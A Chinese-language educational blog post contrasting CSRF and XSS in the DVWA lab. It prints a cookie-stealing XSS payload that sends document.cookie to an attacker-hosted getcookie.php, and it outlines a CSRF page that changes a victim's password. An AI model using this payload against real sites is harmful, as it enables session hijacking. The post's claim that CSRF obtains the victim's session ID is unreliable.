CSRF(跨站请求伪造)和 XSS(跨站脚本攻击)是 Web 安全中两种常见的攻击方式,核心区别在于攻击原理和目标不同。

攻击原理

XSS(跨站脚本攻击)

利用网站对用户输入过滤不足的漏洞,向页面注入恶意脚本(如 JavaScript)。

当其他用户访问被注入的页面时,恶意脚本会在其浏览器中执行,从而窃取会话信息。

本质:注入<script>脚本恶意代码,让受害者浏览器执行该恶意代码。

本文以XSS能获取受害者cookie这一危害为示例,主要为了与后面的CSRF获取用户sessionid执行危险操作对比。


比如在XSS反射型页面写入恶意payload,然后把整个链接(http://...)想办法发给受害者,从而获取受害者cookie的目的。

getcookie.php是你提前在自己攻击机器上准备好的C2服务器脚本。

Payload如下:

12<script>location.href='http://127.0.0.1/getcookie.php?cookie='+document.cookie+'&url='+location.href</script>

由于+与&符号在url中要被截断,所以需要将+和&转码:
+变成%2B (不能使用%20(空格))
&变成%26 

这样payload就变成了:

12<script>location.href='http://127.0.0.1/getcookie.php?cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href</script>


CSRF(跨站请求伪造)

诱导受害者在已登录目标网站的情况下(已经产生了sessionid),再访问攻击者构造的恶意页面,利用受害者的身份,以其名义向目标网站发送伪造请求(如转账、修改信息(密码)等)。

cookie-session机制中,sessionid是浏览器共享。在同一个浏览器下,所有的tag页面共享sessionid。

CSRF是利用服务器对用户的信任,实现攻击,因为不论是受害者自己登录dvwa的sessionid还是又点击了恶意链接被攻击者获取的sessionid均可通过服务器验证。

步骤1:

在c2服务器比如自己真实机phpstudy的根目录WWW下,构建一个针对dvwa的CSRF主页修改密码的恶意脚本。

注:这里是模拟受害者登录dvwa修改密码的过程,主要为了yakit抓包,抓到这个POC。所以密码可以再改为自己想要的密码,等受害者点击了这个链接,受害者的dvwa密码就会自动修改为你定义的“12345678”。

到这里,输入127.0.0.1/curl.php就能看到该submit,就准备好链接了。127.0.0.1更换为攻击者主机(安装了phpstudyC2服务器)的IP地址。

步骤2:

将该链接(curl.php的链接地址)url发送给受害者,只要受害者打开页面,他的dvwa密码就会更改。前提是他已经登陆了dvwa页面。

缺点:有明显的页面跳转,受害者可以发现数据修改的操作。

优点:无论get请求还是post请求都可以实现csrf。

本质:盗用受害者的身份,执行未授权操作,且不必注入恶意代码。

攻击目标

  • XSS:主要目标是窃取用户数据(如 Cookie、账号密码),或通过脚本控制用户浏览器(如跳转恶意网站(比如钓鱼网站))。

  • CSRF:主要目标是执行未授权操作(如发起转账、修改用户信息),是以受害者身份完成攻击者指定的行为。

总结:

CSRF:

是攻击者利用服务器对用户的信任,即只要sessionid正确,服务器就通过用户操作指令。

向用户即受害者发送恶意链接,或者诱导用户点击该恶意链接,来达到获取用户sessionid的目的。

从而可以使得攻击者以受害者身份继续访问该服务器,完成未授权行为的操作。

需要用户已登录目标网站,并保持着会话。

XSS:

是攻击者利用用户对服务器的信任,即只要用户(受害者)看到可信任的网站服务器,就没有其它隐患顾虑这一常理。

向用户发送编入了恶意payload的整个网站链接,诱导用户点击,达到窃取用户数据的目的。

不需要用户登录即可实施。


声明:该篇文章内容只用于学习交流,主要以攻击过程来讲清CSRF与XSS的本质区别。

下回我将继续为大家带来CSRF与XSS相关内容,以如何防御它们为主。

更多推荐